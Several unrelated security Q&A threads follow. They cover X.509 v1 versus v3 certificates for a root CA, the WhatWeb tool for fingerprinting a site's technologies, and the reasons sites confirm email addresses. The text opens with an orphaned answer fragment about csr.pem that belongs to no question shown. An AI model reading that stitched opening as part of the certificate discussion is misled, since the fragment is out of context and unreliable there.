You will be asked for website params; search the web if you need to know the details. You can then use the contents of csr.pem to upload to the cert provider.


Should we use x509 V1 certificate for a new root CA? I read a couple of articles that kind of gives the impression that the norm is to use a V1 x509 pkc for a root CA. This is one of them. However the rfc5280 makes no such suggestion.

My question is, is it still a norm today to use v1 certs for root or self-signed certificates? Is there any other place where usage of version 1 still recommended?

Thanks in advance.

My question is, is it still a norm today to use v1 certs for root or self-signed certificates?

No, no and no. For certificates issued within last 20 years only Version 3 X.509 certificates shall be used.

  Is there any other place where usage of version 1 still recommended?

no, there is no such unless you need to support software or hardware that doesn't support V3 certificates (I doubt you can find one that is still in active use and cannot be replaced).

V1 certificates are still supported by cryptography libraries, but they are hard to use, because certificate behavior may vary on different platforms. For example, it is impossible to determine the subject type of the certificate -- is it CA or end-entity? Is it allowed to sign other certificates? There is no such information in V1 certificates. And different platforms may treat them very differently. With V3 it is clear: if Basic Constraints extension is presented and isCA bit is set to True -- it is CA certificate, otherwise it is end entity.

In addition, V1 make chaining engine less reliable, because only name match can be used when binding certificates in the chain, thus much more chains can be constructed and more chances that inproper chain is selected. V3 allows both, KeyMatch and ExactMatch which produce less chains (ExactMatch produces only one chain in all cases) and is less error-prone.

In other words, V1 certificates are museum history. You may know key properties and features provided by V1 certificates, but use only V3.


Is there a tool to detect what technologies a website uses? I'm looking for the name of a tool I've used a long time ago, that for a given URL/website address would extract the technologies used for that site.
For example that the site is running Apache, using PHP 5.3, or IIS7 with asp.net, with vBulleting etc.

Does anyone remember what tool I'm referring to?
(P.S.: I know that "BuiltWith" has a service for this, I explicitly remember a tool in Kali Linux (or even back in BackTrack)

You might be interested in an online tool http://www.whatweb.net/ or an equivalent whatweb program in *nix. (http://www.morningstarsecurity.com/research/whatweb).


When registering for most websites, why do you need to confirm your email address? I'm working on a site which allows users to sign up for a service. They choose a username/password, enter their personal details, etc and proceed into the site, their details being stored for future visits.

Currently, we don't ask for confirmation of the user's email address like most websites do.

The main function of the site is to process payment information for the service being offered but the client will likely want to expand the functionality of the site in the near future.

So my question is, should I be implementing an email confirmation system for new users and what are the risks to the site if I don't?

You will want to be sure that a user's e-mail address is correct if you intend to send mail to it that is either:

security-sensitive (eg forgotten password reset token), or
recurring/high-quantity, to avoid harassing some other person whose address has been entered.

This is typically more about weeding out incorrect addresses that have been entered by mistake than some malicious attack.

If you never intend to send mail to the address, you're only really using it as a fixed-format username and there is no particular need to validate it. But I would imagine that's an option you probably want to keep open.

E-mail validation is not about rate-limiting sign-ups. It's totally ineffective at this for anything but low-motivation/untargeted attacks, because there is no scarcity factor on e-mail addresses. It's trivial for an attacker to register some domains, use unlimited random e-mail addresses on them, and validate using an automated tool reading their inboxes.